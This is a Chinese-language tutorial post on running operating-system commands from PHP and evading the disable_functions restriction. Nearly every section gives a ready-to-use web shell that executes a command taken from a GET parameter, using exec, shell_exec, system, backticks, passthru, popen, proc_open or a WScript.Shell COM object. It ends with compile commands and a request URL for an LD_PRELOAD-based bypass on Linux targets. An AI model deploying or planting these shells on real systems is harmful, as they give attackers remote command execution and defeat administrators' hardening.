天天看点

PHP中执行系统命令(绕过disable_functions)

目录

​​PHP中执行系统命令​​

​​exec()​​

​​shell_exec()​​

​​system() ​​

​​`$command`​​

​​passthru()​​

​​popen()​​

​​proc_open()​​

​​COM组件​​

PHP中执行系统命令

在PHP中,执行系统命令,有以下方式或方法:

  1. exec()
  2. shell_exec()
  3. `whoami`
  4. system()
  5. passthru()
  6. popen()
  7. proc_open()
  8. pcntl_exec() :需要开启pcntl扩展
  9. COM组件:Wscript.Shell和Shell.Application
  10. dl():通过加载自定义php扩展突破 disable_fucnitons指令的限制
  11. 利用PHP内核变量绕过disable_functions,传送门:​​利用PHP内核变量绕过disable_functions(附完整代码)​​

exec()

该函数默认返回值是执行结果的第一行,并不会有全部的执行结果。如果要打印执行结果,需遍历打印output数组。

string exec ( string command, array &output, int &return_var)
    command参数是要执行的命令
    output数组是保存输出结果
    return_var整形用来保存命令执行后的状态码,0代表执行成功,1代表执行失败      
<?php
  $command=$_GET['command'];
  $ret=exec($command,$output,$a);
  echo $ret;          #默认只返回第一行结果
  echo "<br>";
  echo "****************************************************";
  echo "<br>";
  echo "Status: ",$a;     #打印出执行状态码
  echo "<br>";
  echo "****************************************************";
  $length=count($output);   #数组的长度
  for($i=0;$i<$length;$i++){
    echo $output[$i];
    echo "<br>";
  }
?>      
PHP中执行系统命令(绕过disable_functions)

shell_exec()

<?php
  $command=$_GET['command'];
  $ret=shell_exec($command);
  echo $ret;
?>      
PHP中执行系统命令(绕过disable_functions)

system()

system(string  command , int & return_var)
    command参数是要执行的命令,
    return_var参数存放返回的值,可不写该参数      
<?php
  $command=$_GET['command'];
  $ret=system($command);
  echo $ret;
?>      
PHP中执行系统命令(绕过disable_functions)

`$command`

<?php
  $command=$_GET['command'];
  $ret=`$command`;
  echo $ret;
?>      
PHP中执行系统命令(绕过disable_functions)

passthru()

<?php
  $command=$_GET['command'];
  passthru($command);
?>      
PHP中执行系统命令(绕过disable_functions)

popen()

popen ( string command, string mode )
    打开一个指向进程的管道,该进程由派生给定的 command 命令执行而产生。 返回一个和 fopen() 所返回的相同的文件指针,只不过它是单向的(只能用于读或写)并且必须用 pclose() 来关闭。此指针可以用于 fgets(),fgetss() 和 fwrite()。      
<?php
  $command=$_GET['command'];
  $fd = popen($command, 'r'); 
  while($s=fgets($fd)){
    print_r($s);
  }
?>      
PHP中执行系统命令(绕过disable_functions)

proc_open()

resource proc_open ( string cmd, array descriptorspec, array &pipes [, string cwd [, array env [, array other_options]]] )      
<?php
    $command=$_GET['command'];
    $descriptorspec=array( 
        0=>array('pipe','r'), 
        1=>array('pipe','w'),
        2=>array('pipe','w') 
    );
    $handle=proc_open($command,$descriptorspec,$pipes,NULL);
    if(!is_resource($handle)){
        die('proc_open failed');
    }
    while($s=fgets($pipes[1])){
        print_r($s);
    }
    while($s=fgets($pipes[2])){
        print_r($s);
    }
    fclose($pipes[0]);
    fclose($pipes[1]);
    fclose($pipes[2]);
    proc_close($handle);
?>      
PHP中执行系统命令(绕过disable_functions)

COM组件

php>5.4版本需手动添加该扩展

在php.ini文件中,加入如下这行

PHP中执行系统命令(绕过disable_functions)

然后查看phpinfo,该扩展是否enable。

PHP中执行系统命令(绕过disable_functions)

enable之后,就可以使用如下脚本了。

<?php
$command=$_GET['cmd'];
$wsh = new COM('WScript.shell');
$exec = $wsh->exec("cmd /c ".$command);
$stdout = $exec->StdOut();
$stroutput = $stdout->ReadAll();
echo $stroutput;
?>      
PHP中执行系统命令(绕过disable_functions)

如果目标是Linux系统的话,可以参考:​​GitHub - yangyangwithgnu/bypass_disablefunc_via_LD_PRELOAD: bypass disable_functions via LD_PRELOA (no need /usr/sbin/sendmail)​​

项目中现成的so文件可以如下编译

# x64
gcc -shared -fPIC bypass_disablefunc.c -o bypass_disablefunc_x64.so
# x86
gcc -shared  -m32 -fPIC bypass_disablefunc.c -o bypass_disablefunc_x64.so      
http://x.x.x.x/bypass_disablefunc.php?cmd=id&outpath=/var/www/html/xxx&sopath=/var/www/html/bypass_disablefunc_x64.so